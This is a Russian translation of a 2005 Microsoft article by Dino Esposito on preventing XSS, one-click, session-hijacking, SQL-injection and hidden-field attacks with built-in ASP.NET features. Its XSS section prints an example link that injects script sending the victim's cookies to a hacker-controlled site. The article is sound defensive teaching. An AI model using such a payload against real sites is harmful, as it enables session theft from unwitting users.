Сведения о предотвращении сетевых атак с помощью встроенных функций ASP.NET

 

Дино Эспозито
Wintellect

Январь 2005 г.

Применяется к
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Сводка: Дино обобщает наиболее распространенные типы веб-атак и описывает, как веб-разработчики могут использовать встроенные функции ASP.NET для повышения безопасности. (13 печатных страниц)

Содержимое

Что ASP.NET разработчики должны всегда делать, откуда исходят угрозы
ViewStateUserKey
Файлы cookie и проверка подлинности
Перехват сеансов
EnableViewStateMac
ValidateRequest
Перспектива базы данных
Скрытые поля
Электронная почта и спам
Сводка
Связанные ресурсы

Что ASP.NET разработчики должны всегда делать

Если вы читаете эту статью, вам, вероятно, не нужно читать лекции о растущей важности безопасности в веб-приложениях. Скорее всего, вам нужны практические советы по реализации безопасности в ASP.NET приложениях. Плохая новость заключается в том, что никакая платформа разработки, включая ASP.NET, не может гарантировать, что вы будете писать 100-процентный безопасный код после его внедрения. Кто это говорит, просто лжет. Хорошей новостью, что касается ASP.NET, является то, что ASP.NET, особенно версии 1.1 и предстоящей версии 2.0, интегрирует ряд встроенных защитных барьеров, готовых к использованию.

Одного применения всех этих функций недостаточно для защиты веб-приложения от всех возможных и прогнозируемых атак. Однако в сочетании с другими методами защиты и стратегиями безопасности встроенные функции ASP.NET образуют мощный набор средств для обеспечения работы приложений в безопасной среде.

Веб-безопасность — это сумма различных факторов и результат стратегии, которая выходит далеко за рамки отдельного приложения и включает администрирование баз данных, конфигурацию сети, а также социальную инженерию и фишинг.

Цель этой статьи — проиллюстрировать, что ASP.NET разработчики должны всегда делать, чтобы обеспечить достаточно высокий уровень безопасности. Это то, что безопасность в основном о - держать охрану, никогда не чувствовать себя в полной безопасности, и сделать это все труднее и труднее для плохих парней взломать.

Давайте посмотрим, что ASP.NET может предложить, чтобы упростить задание.

Откуда исходят угрозы

В таблице 1 я подытожил наиболее распространенные типы веб-атак и недостатки в приложении, которые могут сделать их успешными.

Атака	Это возможно с помощью . . .
Межсайтовые сценарии (XSS)	Ненадежные данные, введенные пользователем, отображаются на странице
Атака путем внедрения кода SQL	Объединение пользовательских входных данных для формирования команд SQL
перехват сеансов;	Угадывание идентификатора сеанса и украденные файлы cookie идентификаторов сеанса
Один щелчок	Неосведомленные записи HTTP, отправленные с помощью скрипта
Изменение скрытых полей	Скрытое поле без флажка (и доверенное), заполненное конфиденциальными данными

Таблица 1. Распространенные веб-атаки

Каковы ключевые факты, которые вытекают из списка? По крайней мере, следующие три, я бы сказал:

• Всякий раз, когда вы вставляете какие-либо данные пользователя в разметку браузера, вы потенциально подвергаетесь атаке путем внедрения кода (любые варианты внедрения кода SQL и XSS).
• Доступ к базе данных должен осуществляться безопасно, то есть использовать минимальный набор разрешений для учетных записей и разделять обязанности отдельных пользователей с помощью ролей.
• Конфиденциальные данные никогда не должны передаваться по сети (не говоря уже о чистом тексте) и безопасно храниться на сервере.

Интересно отметить, что в приведенных выше трех пунктах рассматриваются три различных аспекта веб-безопасности, сочетание которых является единственным разумным способом создания приложения с защитой от маркеров и несанкционированного доступа. Аспекты веб-безопасности можно обобщить следующим образом:

• Методы программирования: проверка данных, проверка типа и длины буфера, меры по защите от незаконного изменения
• Стратегии доступа к данным: используйте роли, чтобы обеспечить максимально слабую учетную запись, используйте хранимые процедуры или по крайней мере параметризованные команды.
• Эффективное хранение и администрирование: не отправляйте критически важные данные клиенту, используйте хэш-коды для обнаружения манипуляций, проверки подлинности пользователей и защиты удостоверений, применения строгих политик для паролей

Как видите, безопасное приложение может быть результатом только совместных усилий разработчиков, архитекторов и администраторов. Не предполагайте, что вы можете сделать это правильно в противном случае.

При написании ASP.NET приложений вы не остаетесь самостоятельно бороться с армией хакеров, вооружившись только своими мозгами, навыками и пальцами для ввода строк кода. ASP.NET 1.1 и более поздних версий помогает с некоторыми конкретными функциями, которые автоматически предотвращают некоторые из перечисленных выше угроз. Давайте рассмотрим их подробно.

ViewStateUserKey

Появилось в ASP.NET 1.1, ViewStateUserKey — это строковое свойство класса Page , знакомое лишь немногим разработчикам. Почему? Давайте прочтите, что об этом говорится в документации.

Назначает идентификатор отдельному пользователю в переменной состояния представления, связанной с текущей страницей.

Несмотря на извилистую стилистику, предложение довольно ясное; но можете ли вы честно сказать, что это объясняет предназначение имущества? Чтобы понять роль ViewStateUserKey, необходимо прочитать немного дальше, пока не перейдете к разделу Примечания .

Свойство помогает предотвратить атаки одним щелчком, предоставляя дополнительные входные данные для создания хэш-значения, защищающего состояние представления от незаконного изменения. Иными словами, ViewStateUserKey значительно усложняет хакерам использование содержимого состояния представления на стороне клиента для подготовки вредоносных сообщений против сайта. Свойству можно назначить любую непустую строку, предпочтительно идентификатор сеанса или идентификатор пользователя. Чтобы лучше понять важность этого свойства, давайте кратко рассмотрим основы атаки одним щелчком .

Атака одним щелчком состоит в публикации вредоносной ФОРМЫ HTTP на известный уязвимый веб-сайт. Он называется "одним щелчком", потому что он обычно начинается с неосведомленной жертвы щелчком по заманчивой ссылке, полученной по электронной почте или найденной при навигации на переполненном форуме. Перейдя по ссылке, пользователь непреднамеренно запускает удаленный процесс, который заканчивается отправкой вредоносной <формы> на сайт. Будьте честны: можете ли вы сказать, что вы никогда не следовали ссылке, как нажмите здесь, чтобы выиграть $ 1,000,000 только, чтобы увидеть, что происходит? Видимо, ничего плохого с тобой не случилось. Предположим, что это правильно. Можете ли вы сказать то же самое для всех остальных веб-сообщества? Кто знает.

Для успешного выполнения атаки одним щелчком требуются определенные фоновые условия:

• Злоумышленник должен много знать об уязвимом сайте. Это может произойти из-за того, что злоумышленник "усердно" изучал файл или потому, что он является сердитым внутренним (например, уволенным и нечестным сотрудником). По этой причине нападение может быть разрушительным.
• Сайт должен использовать файлы cookie (лучше, если постоянные файлы cookie) для реализации единого входа, и злоумышленник должен получить действительный файл cookie проверки подлинности.
• Некоторые пользователи сайта участвуют в конфиденциальных транзакциях.
• Злоумышленник должен иметь доступ к целевой странице.

Как уже упоминалось, атака заключается в отправке вредоносной HTTP-формы на страницу, которая ожидает форму. Разумно, что эта страница будет использовать опубликованные данные для выполнения некоторых конфиденциальных операций. Достаточно разумно, что злоумышленник точно знает, как будет использоваться каждое поле, и может придумать некоторые поддельные значения для достижения своей цели. Это, как правило, целевая атака, и ее также трудно отследить из-за треугольной торговли, которую он устанавливает— хакер побуждает жертву щелкнуть ссылку на сайте хакера, которая, в свою очередь, опубликует плохой код на третьем сайте. (См. рис. 1.)

Рис. 1. Атака одним щелчком

Почему не подозревая жертва? Так как таким образом журналы сервера показывают, что IP-адрес, по которому был получен неверный запрос, является IP-адресом жертвы! Как уже упоминалось, эта атака не так распространена (и легко организовать), как "классический" XSS; однако его характер делает его потенциально разрушительным. Каково лекарство от него? Давайте рассмотрим механизм атаки в контексте ASP.NET.

Если действие не закодировано в событии Page_Load , страница ASP.NET не может выполнять конфиденциальный код за пределами события обратной передачи. Для выполнения события обратной передачи поле состояния представления является обязательным. Имейте в виду, что ASP.NET проверяет состояние обратной передачи запроса и устанавливает IsPostBack соответствующим образом на основе наличия поля ввода _VIEWSTATE. Поэтому любой, кто хочет отправить фиктивный запрос на страницу ASP.NET, должен обязательно предоставить допустимое поле состояния представления.

Чтобы атака одним щелчком работала, злоумышленник должен иметь доступ к странице. Когда это произошло, дальновидный хакер сохранил страницу локально. Теперь он может получить доступ к полю _VIEWSTATE и использовать его для создания запроса со старым состоянием представления и вредоносными значениями в других полях. Вопрос в том, будет ли это работать?

Причины. Если злоумышленник может предоставить допустимый файл cookie проверки подлинности, злоумышленник получает доступ и запрос регулярно обрабатывается. Содержимое состояния представления вообще не проверяется на сервере (если параметр EnableViewStataMac отключен) или проверяется только на наличие незаконного изменения. По умолчанию в состоянии представления нет ничего, что связывает это содержимое с определенным пользователем. Злоумышленник может легко повторно использовать состояние просмотра, полученное, чтобы получить легальный доступ к странице, чтобы создать фиктивный запрос от имени другого пользователя. Вот где помещается ViewStateUserKey .

При правильном выборе свойство добавляет сведения, относящиеся к пользователю, в состояние представления. При обработке запроса ASP.NET извлекает ключ из состояния представления и сравнивает его с элементом ViewStateUserKey выполняемой страницы. Если эти два варианта совпадают, запрос считается допустимым; в противном случае возникает исключение. Какое допустимое значение для свойства?

Задать параметр ViewStateUserKey для константной строки (одинаковой для всех пользователей) — это все равно, что оставить ее пустой. Необходимо задать для него значение, которое отличается для каждого пользователя— идентификатор пользователя или, что еще лучше, идентификатор сеанса. По разным техническим и социальным причинам идентификатор сеанса подходит гораздо лучше, так как его нельзя предсказать, время его ожидания истекает и он уникальный для каждого пользователя.

Ниже приведен код, который необходимо добавить на всех страницах.

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Чтобы избежать записи снова и снова, вы можете болтовать его в виртуальном методе OnInit класса, производного от Page. (Обратите внимание, что это свойство необходимо задать в событии Page.Init .)

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

В целом, использование класса базовой страницы всегда хорошо, как я объясняю в моей статье Создание страниц ASP.NET на richer Bedrock. Отличную статью, чтобы узнать больше о тактике злоумышленников одним щелчком, можно найти на aspnetpro.com.

Файлы cookie и проверка подлинности

Файлы cookie существуют, так как они могут помочь разработчикам достичь результатов. Файлы cookie работают как своего рода постоянная связь между браузером и сервером. Особенно для приложений, использующих единый вход, украденный файл cookie — это то, что делает возможным атаку. Это, безусловно, относится к атакам одним щелчком мыши.

Чтобы использовать файлы cookie, вам не нужно явно создавать и читать их программным способом. Файлы cookie неявно используются при использовании состояния сеанса и при реализации проверки подлинности на основе форм. Конечно, ASP.NET поддерживает состояние сеанса без использования файлов cookie, а ASP.NET 2.0 также предоставляет проверку подлинности на основе форм без файлов cookie. Таким образом, вы могли бы теоретически использовать эти функции без использования файлов cookie. Я не говорю, что вы не должны, но это лишь один из случаев, в которых средство правовой защиты может быть еще хуже, чем болезнь. Сеансы без файлов cookie фактически внедряют идентификатор сеанса в URL-адрес, делая его видимым для всех.

Каковы потенциальные проблемы, связанные с использованием файлов cookie? Файлы cookie могут быть украдены (то есть скопированы на компьютер хакера) и отравлены (то есть заполнены вредоносными данными). Эти действия часто являются прелюдией к входящей атаке. В случае кражи файлы cookie проверки подлинности позволяют внешним пользователям подключаться к приложению (и использовать защищенные страницы) от имени вас, что потенциально позволяет хакерам обходить авторизацию и самостоятельно выполнять все роли и параметры безопасности, которые позволяют жертве. По этой причине для файлов cookie проверки подлинности обычно предоставляется относительно короткое время существования — 30 минут. (Обратите внимание, что срок действия файла cookie истекает, даже если сеанс браузера занимает больше времени.) В случае кражи у хакеров есть 30-минутное окно для попытки атаки.

Это окно можно увеличить, чтобы пользователи не могли слишком часто входить в систему; имейте в виду, что вы делаете это на свой страх и риск. В любом случае избегайте использования ASP.NET постоянных файлов cookie. Это сделает время существования печенья практически многолетним, до 50 лет! В следующем фрагменте кода показано, как изменить срок действия файла cookie в свободное время.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Этот код может потребоваться использовать в собственных формах входа для точной настройки времени существования файлов cookie проверки подлинности.

Перехват сеансов

Файлы cookie также используются для получения состояния сеанса для определенного пользователя. Идентификатор сеанса хранится в файле cookie, который перемещается вместе с запросом и сохраняется на компьютере браузера. Опять же, в случае кражи файл cookie сеанса можно использовать для получения хакера в систему и доступа к состоянию сеанса другого пользователя. Нет необходимости говорить, что это может произойти до тех пор, пока указанный сеанс активен ( обычно не более 20 минут). Атака, выполненная через спуфинированные состояния сеанса, называется перехватом сеанса. Дополнительные сведения о перехвате сеансов см. в статье Кража в Интернете: предотвращение перехвата сеансов.

Насколько опасно это нападение? Трудно сказать. Это зависит от того, что делает веб-сайт и, что более важно, от того, как его страницы разработаны. Например, представьте, что вы смогли получить файл cookie сеанса другого пользователя и прикрепить его к запросу на странице на сайте. Вы загружаете страницу и работаете через ее обычный пользовательский интерфейс. На странице нет кода, который можно внедрить, и на ней нет ничего, что можно изменить, за исключением того, что страница теперь работает с состоянием сеанса другого пользователя. Это не плохо как таковое, но может привести хакеров прямо к успешному эксплойту, если информация в сеансе является конфиденциальной и критической. Посмотрите, хакер не может заглянуть в содержимое хранилища сеансов, но то, что хранится в нем, используется так, как если бы хакер законно вошел в него. Например, представьте себе приложение электронной коммерции, в котором пользователи добавляют элементы в корзину при навигации по сайту.

• Сценарий 1. Содержимое корзины для покупок хранится в состоянии сеанса. Однако при проверка пользователю предлагается подтвердить и ввести платежные данные через безопасное SSL-подключение. В этом случае подключение к состоянию сеанса другого пользователя позволяет только хакеру узнать некоторые сведения о предпочтениях жертвы. Никакой вид ущерба действительно является результатом угона в этом контексте. Под угрозой находится только конфиденциальность.
• Сценарий 2. Приложение обрабатывает профиль для каждого зарегистрированного пользователя и сохраняет профиль в состоянии сеанса. Увы, профиль (как это может быть в случае) включает сведения о кредите карта. Зачем сохранять сведения о профиле пользователя в сеансе? Возможно, одна из целей приложения заключается в том, чтобы в конечном итоге избавить пользователей от ввода кредитных карта и банковских данных снова и снова. Таким образом, при извлечении приложение перемещает пользователя на страницу с предварительно заполненными полями. Импровизированным образом одним из этих полей является номер кредитной карта, взятый из состояния сеанса. Можете ли вы теперь угадать конец истории?

Дизайн страницы приложения является ключом к предотвращению атак на перехват сеансов. Однако два пункта остаются открытыми. Во-первых, что вы можете сделать, чтобы предотвратить кражу файлов cookie? Во-вторых, что ASP.NET может сделать, чтобы обнаружить и заблокировать угон?

Файл cookie ASP.NET сеанса очень прост и ограничен только строкой идентификатора сеанса. Среда выполнения ASP.NET извлекает идентификатор сеанса из файла cookie и проверяет его на соответствие активным сеансам. Если идентификатор действителен, ASP.NET подключается к соответствующему сеансу и продолжает работу. Такое поведение значительно упрощает жизнь хакеров, которые украли или могут угадать действительный идентификатор сеанса.

XSS и атаки "злоумышленник в середине", а также доступ методом подбора к клиентскому компьютеру — это все способы получения допустимого файла cookie. Чтобы предотвратить кражу, следует реализовать рекомендации по обеспечению безопасности, чтобы предотвратить успешное выполнение XSS и всех его вариантов.

Чтобы предотвратить угадывание идентификатора сеанса, просто не следует переувыключать свои навыки. Угадывание идентификатора сеанса означает, что вы знаете способ прогнозирования допустимой строки идентификатора сеанса. Учитывая алгоритм, используемый ASP.NET (15 случайных чисел, сопоставленных с символами с поддержкой URL-адреса), вероятность угадать допустимый идентификатор случайно приближается к нулю. Я не могу подумать о том, чтобы заменить генератор идентификаторов сеансов по умолчанию на ваш собственный. Во многих случаях вы только упрощаете жизнь злоумышленникам.

Хуже того, что угон сеанса заключается в том, что после того, как файл cookie был украден или догадался, не так много ASP.NET может сделать, чтобы обнаружить мошенническое использование файла cookie. Опять же, причина в том, что ASP.NET ограничивается проверкой действительности идентификатора и ставит под сомнение место происхождения файла cookie.

Мой приятель Wintellect Джефф Prosise написал отличную статью об угоне сеансов для MSDN Magazine. Его выводы обеспечивают мало комфорта — практически невозможно создать глупую защиту от атак, которые полагаются на украденные файлы cookie идентификатора сеанса, но разработанный им код предлагает умный совет, чтобы повысить уровень безопасности еще выше. Джефф создал модуль HTTP, который отслеживает входящие запросы и исходящие ответы для файлов cookie идентификатора сеанса. Модуль добавляет хэш-код к идентификаторам исходящих сеансов, что усложняет повторное использование этого файла cookie злоумышленником. Подробные сведения см. здесь.

EnableViewStateMac

Состояние представления используется для сохранения состояния элементов управления в двух последовательных запросах для одной страницы. По умолчанию представление находится в кодировке Base64 и подписывается хэш-значением, чтобы предотвратить незаконное изменение. Если вы не измените параметры страницы по умолчанию, состояние представления не подвержено риску изменения. Если злоумышленник изменяет состояние представления или даже перестраивает состояние представления с помощью правильного алгоритма, ASP.NET перехватывает попытку и создает исключение. Незаконное состояние представления не обязательно вредно— оно изменяет состояние серверных элементов управления, но может стать средством серьезных инфекций. По этой причине крайне важно не удалять перекрестную проверку кода проверки подлинности компьютера (MAC), которая выполняется по умолчанию. См. рис. 2.

Рис. 2. Что делает состояние представления устойчивым к несанкционированным действиям при включении EnableViewStateMac

Если проверка MAC включена (по умолчанию), к состоянию сериализованного представления добавляется хэш-значение, полученное из некоторых значений на стороне сервера, и ключ пользователя состояния представления, если таковой имеется. При обратной отправке состояния представления хэш-значение вычисляется повторно с использованием новых значений на стороне сервера и сравнивается с сохраненным значением. Если они совпадают, запрос разрешен; В противном случае возникает исключение. Даже если у хакера есть навыки взлома и перестройки состояния представления, ему или ей необходимо знать сохраненные на сервере значения, чтобы создать допустимый хэш. В частности, злоумышленник должен знать ключ компьютера, на который ссылается < запись machineKey> machine.config.

По умолчанию <запись machineKey> создается автоматически и физически сохраняется в локальном центре безопасности Windows (LSA). Только в случае веб-ферм , когда ключи компьютера состояния представления должны быть одинаковыми на всех компьютерах, следует указывать его в виде ясного текста в файле machine.config.

Проверка MAC состояния просмотра управляется атрибутом директивы @Pageс именем EnableViewStateMac. Как уже упоминалось, по умолчанию задано значение true. Никогда не отключайте его; это сделает возможными и с большими шансами на успех атаки с изменением состояния одним щелчком мыши.

ValidateRequest

Межсайтовые скрипты (XSS) — это старый опыт для многих опытных веб-разработчиков— это уже с 1999 года или около того. Проще говоря, XSS использует дыры в коде, чтобы внедрить исполняемый код хакера в сеанс браузера другого пользователя. При выполнении внедренный код может выполнять различные действия: захватывать файлы cookie и отправлять копию на контролируемый хакером веб-сайт, отслеживать веб-сеанс пользователя и пересылать данные, изменять поведение и внешний вид взломанных страниц, предоставляющих неверные сведения, даже сохраняться, чтобы пользователь в следующий раз вернулся на страницу. мошеннический код выполняется снова. Дополнительные сведения об основах атаки XSS см. в статье Общие сведения о межсайтовых сценариях TechNet.

Какие лазейки в коде делают возможными XSS-атаки?

XSS использует веб-приложения, которые динамически создают HTML-страницы и не проверяют входные данные, отводимые на страницу. Входные данные здесь означают содержимое строк запроса, файлов cookie и полей форм. Если это содержимое перейдет в Интернет без надлежащей проверки работоспособности, существует риск того, что хакеры могут манипулировать им для выполнения вредоносных сценариев в клиентских браузерах. (В конце концов, вышеупомянутая атака одним щелчком является недавней разновидностью XSS.) Типичная атака XSS подразумевает, что подозревающий пользователь следует заманивающей ссылке, которая внедряет экранированный код скрипта. Мошеннический код отправляется на уязвимую страницу, которая доверчиво выводит его. Вот пример того, что может произойти:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

Пользователь нажимает на по-видимому безопасную ссылку и в конечном итоге передает на уязвимую страницу фрагмент кода скрипта, который сначала получает все файлы cookie на компьютере пользователя, а затем отправляет их на страницу на веб-сайте хакера.

Важно отметить, что XSS не является проблемой конкретного поставщика и не обязательно использует дыры в Интернет-Обозреватель. Это влияет на все веб-серверы и браузеры, которые в настоящее время находятся на рынке. Что еще важнее, обратите внимание, что нет ни одного исправления, чтобы исправить это. Вы можете защитить свои страницы от XSS, применяя определенные меры и вменяемые методы написания кода. Кроме того, имейте в виду, что злоумышленнику не нужно переходить по ссылке, чтобы начать атаку.

Для защиты от XSS необходимо в первую очередь определить, какие входные данные являются допустимыми, и отклонить все остальные. Подробный контрольный список для предотвратить XSS-атаки можно найти в книге, которую необходимо прочитать в корпорации Майкрософт — написание безопасного кода Майкла Ховарда и Дэвида ЛеБлана. В частности, я предлагаю вам внимательно изучить главу 13.

Основной способ сорвать коварные XSS-атаки — добавить к входным данным хорошо выполненный и надежный уровень проверки — любой тип входных данных. Например, существуют обстоятельства , при которых даже безобидный цвет ( триплет RGB) может привести неконтролируемый сценарий прямо на страницу.

В ASP.NET 1.1 при включении атрибут ValidateRequest в директиве @Page проверяет, не отправляют ли пользователи потенциально опасные html-разметки в строках запроса, файлах cookie или полях формы. Если это обнаружено, возникает исключение, и запрос прерывается. Атрибут включен по умолчанию; Вам не нужно ничего делать, чтобы быть защищены. Если вы хотите разрешить передачу разметки HTML, необходимо активно отключить ее.

<%@ Page ValidateRequest="false" %>

ValidateRequestне является серебряным маркером и не может заменить эффективный слой проверки. Прочитайте здесь , чтобы получить много ценной информации о том, как функция действительно работает под капотом. В основном оно применяет регулярное выражение для перехвата нескольких потенциально опасных последовательностей.

Примечание Функция ValidateRequest изначально была несовершенной; необходимо применить исправление , чтобы оно работало должным образом. Это ценная информация, которая часто проходит незамеченным. Как ни странно, я сам нашел одну из моих машин, все еще пострадавших от недостатка. Убедитесь в этом сами!

Нет причин, чтобы не поддерживать ValidateRequest включено. Вы можете отключить его, но у вас должна быть очень веская причина; один из которых может быть требованием пользователя, чтобы иметь возможность опубликовать некоторые HTML-коды на сайте для получения более качественных параметров форматирования. В этом случае следует ограничить количество разрешенных тегов HTML (<pre>, b>,<<i>, <p>, <br>, <hr>) и написать регулярное выражение, которое гарантирует, что ничего другого не будет разрешено или принято.

Вот еще несколько советов, которые помогут защитить приложения ASP.NET от XSS:

• Используйте HttpUtility.HtmlEncode для преобразования опасных символов в их HTML-представление.
• Используйте двойные кавычки вместо одинарных, так как кодирование HTML экранирует только двойные кавычки.
• Принудительная кодовая страница ограничивает количество символов, которые можно использовать.

Таким образом, используйте атрибут ValidateRequest , но не доверяйте полностью, и не будьте слишком ленивыми. Потратьте некоторое время, чтобы понять угрозы безопасности, такие как XSS, в их корне, и спланировать оборонительную стратегию, ориентированную на одну ключевую точку — учитывайте все ошибки, введенные пользователем.

Перспектива базы данных

Внедрение кода SQL — это еще один хорошо известный тип атаки, который использует приложения, использующие нефильтрованные данные пользователя для формирования команд базы данных. Если приложение блаженно использует то, что пользователь вводит в поле формы для создания командной строки SQL, оно подвергает вас риску того, что злоумышленник может просто получить доступ к странице и ввести мошеннические параметры для изменения характера запроса. Дополнительные сведения о внедрении кода SQL см. здесь.

Существует множество способов, с помощью которых можно соревную атаку путем внедрения кода SQL. Ниже приведены наиболее распространенные методы.

• Убедитесь, что все введенные пользователем данные соответствуют правильному типу и соответствуют ожидаемому шаблону (почтовый индекс, номер SSN, адрес электронной почты). Если ожидается число из текстового поля, блокируйте запрос, если пользователь вводит что-то, что не может быть преобразовано в число.
• Используйте параметризованные запросы или, что еще лучше, хранимые процедуры.
• Используйте разрешения SQL Server, чтобы ограничить возможности, которые каждый пользователь может выполнять в базе данных. Например, можно отключить xp_cmdshell или ограничить его администраторами.

Если вы используете хранимую процедуру, вы значительно сократите область атак. В случае с хранимыми процедурами вам не нужно динамически создавать строки SQL. Кроме того, все параметры проверяются в SQL Server на соответствие указанным типам. Хотя сам по себе этот метод не является 100-процентным безопасным, в сочетании с проверкой он сделает вас более безопасным.

Еще более важно убедиться, что только авторизованные пользователи выполняют потенциально разрушительные операции, такие как удаление таблиц. Для этого требуется тщательно спроектировать средний уровень приложения. Хороший метод, и не только из-за безопасности, — сосредоточиться на ролях. Вы группируете пользователей в роли и определяете учетную запись для каждой роли с наименьшим набором разрешений.

Несколько недель назад веб-сайт Wintellect подвергся атаке с помощью сложной формы внедрения кода SQL. Хакер попытался создать и запустить ftp-скрипт для скачивания (вредоносного?) исполняемого файла. Это была наша удача, что атака не удалась. Или это была довольно надежная проверка входных данных, использование хранимых процедур и использование SQL Server разрешений, которые не позволили атаке работать?

Подводя итоги, следуйте этим рекомендациям, чтобы избежать нежелательных внедрений кода SQL:

• Выполнение с минимальными привилегиями и никогда не выполняйте код как sa.
• Ограничение доступа к встроенным хранимым процедурам.
• Предпочтение параметризованным запросам SQL.
• Не создавайте инструкции с помощью объединения строк и не создавайте ошибки базы данных.

Скрытые поля

В классической версии ASP скрытые поля являются единственным способом сохранения данных между запросами. Все данные, которые необходимо получить при следующем запросе, упаковываются в скрытое <поле ввода> и округлятся. Что делать, если на клиенте кто-то изменяет значения, хранящиеся в поле? Среда на стороне сервера не может понять это, если текст понятен. Свойство ASP.NET ViewState для страниц и отдельных элементов управления служит двум целям. С одной стороны, ViewState — это средство для сохранения состояния между запросами; с другой стороны, ViewState позволяет хранить пользовательские значения в защищенном скрытом поле, защищенном от несанкционированного изменения.

Как показано на рисунке 2, к состоянию представления добавляется хэш-значение, которое проверяется при каждом запросе для обнаружения незаконного изменения. В ASP.NET нет причин использовать скрытые поля, за исключением нескольких случаев. Состояние представления делает то же самое гораздо более безопасным способом. Сказал заранее, что хранение конфиденциальных значений, таких как цены или кредит карта подробностей в четком скрытом поле, как оставить дверь открытой для хакеров, состояние зрения даже сделает эту плохую практику менее опасной, чем раньше из-за своего механизма защиты данных. Однако имейте в виду, что состояние представления предотвращает незаконное изменение, но не гарантирует конфиденциальность, если вы не зашифруете его, поэтому кредитные карта сведения, хранящиеся в состоянии представления, в любом случае подвергаются риску.

Когда допустимо использовать скрытые поля в ASP.NET? При создании пользовательских элементов управления, которые должны отправлять данные обратно на сервер. Например, представьте, что вы создали новый элемент управления DataGrid , поддерживающий изменение порядка столбцов. Необходимо передать новый заказ обратно на сервер при обратной передаче. Где еще можно хранить эту информацию, если не в скрытом поле?

Если скрытое поле является полем для чтения и записи, т. е. ожидается, что клиент будет выполнять запись в него, вы не можете сделать это с хакерской проверкой. Вы можете попытаться хэшировать или шифровать текст, но это не даст вам никакой разумной уверенности в том, что не будет взломан. Лучшая защита здесь заключается в том, чтобы сделать скрытое поле содержать инертную и безобидную информацию.

При этом стоит отметить, что ASP.NET предоставляет малоизвестный класс, который можно использовать для кодирования и хэширования любого сериализованного объекта. Класс — LosFormatter и тот же класс, который используется реализацией ViewState для создания закодированного текста с циклом передачи клиенту.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

В приведенном выше фрагменте кода показано, как использовать LosFormatter для создания содержимого представления, похожего на состояние, закодированного и хэшированного.

Электронная почта и спам

В конце этой статьи позвольте мне отметить, что по крайней мере две наиболее распространенные атаки — классические XSS и один щелчок — часто выполняются путем подозревающих жертв переходить по заманчивым и поддельным ссылкам. Во многих случаях мы находим такие ссылки непосредственно в нашей папке "Входящие", несмотря на фильтры защиты от спама. Объемы адресов электронной почты можно купить за несколько долларов. Одним из main методов, используемых для создания таких списков, является сканирование общедоступных страниц на веб-сайтах, поиск и захват всего, что выглядит как адрес электронной почты.

Если на странице отображается адрес электронной почты, велика вероятность того, что рано или поздно она будет перехвачена веб-роботами. Действительно? Ну, это многое зависит от того, как вы видите адрес электронной почты. Если вы жестко закодировать его, вы теряетесь. Если вы прибегаете к альтернативным представлениям, таким как dino-at-microsoft-dot-com, это не ясно, если вы действительно обманываете веб-робота; конечно, вы будете раздражать любого человека, читающего вашу страницу, который хочет установить законный контакт.

В целом следует выяснить способ динамического создания адреса электронной почты в виде ссылки mailto . Это именно то, что делает бесплатный компонент, написанный Марко Беллинасо. Вы можете получить его с полным исходным кодом на веб-сайте DotNet2TheMax .

Сводка

Кто-нибудь сомневается в том, что Интернет, вероятно, является самой враждебной из всех сред выполнения? Это связано с тем, что каждый может получить доступ к веб-сайту и попытаться передать ему хорошие и плохие данные. Однако имеет ли смысл создать веб-приложение, которое не принимает введенные пользователем данные?

Итак, давайте посмотрим правде в глаза: независимо от того, насколько сильный брандмауэр и как часто вы применяете доступные исправления, если вы используете уязвимое веб-приложение, рано или поздно злоумышленники будут проходить прямо к центру ваших систем через вход main, а именно порт 80.

ASP.NET приложения не являются ни более уязвимыми, ни более безопасными, чем другие веб-приложения. Безопасность и уязвимость обусловлены методиками программирования, опытом работы на местах и командной работой. Ни приложение не является безопасным, если сеть не является; Аналогичным образом, независимо от того, насколько безопасна и хорошо администрирована сеть, злоумышленники всегда будут находить свой путь, если приложение не работает.

Красота ASP.NET заключается в том, что он предоставляет вам несколько хороших инструментов, чтобы поднять планку безопасности до проходимого уровня с помощью нескольких щелчков мыши. Это не достаточный уровень, однако. Не следует полагаться только на ASP.NET встроенные решения, но и игнорировать их не следует. И узнайте как можно больше о наиболее распространенных атаках.

В этой статье приведен список встроенных функций с примечаниями, а также некоторые сведения об атаках и защите. Методы обнаружения текущих атак — это другая история, и, возможно, потребуется еще одна статья.

Связанные ресурсы

Написание защищенного кода Майкл Говард и Дэвид Леблан

Журнал TechNet, кража в Интернете: предотвращение угона сеанса

 

Об авторе

Дино Эспозито является инструктором и консультантом Wintellect , базирующейся в Италии. Автор книг Программирование Microsoft ASP.NET и более поздних выпусков Введение в Microsoft ASP.NET 2.0 (как от Microsoft Press), он проводит большую часть своего времени, преподавая занятия по ASP.NET и ADO.NET и выступая на конференциях. Блог Дино в туре по адресу https://weblogs.asp.net/despos.

© Корпорация Майкрософт (Microsoft Corporation). Все права защищены.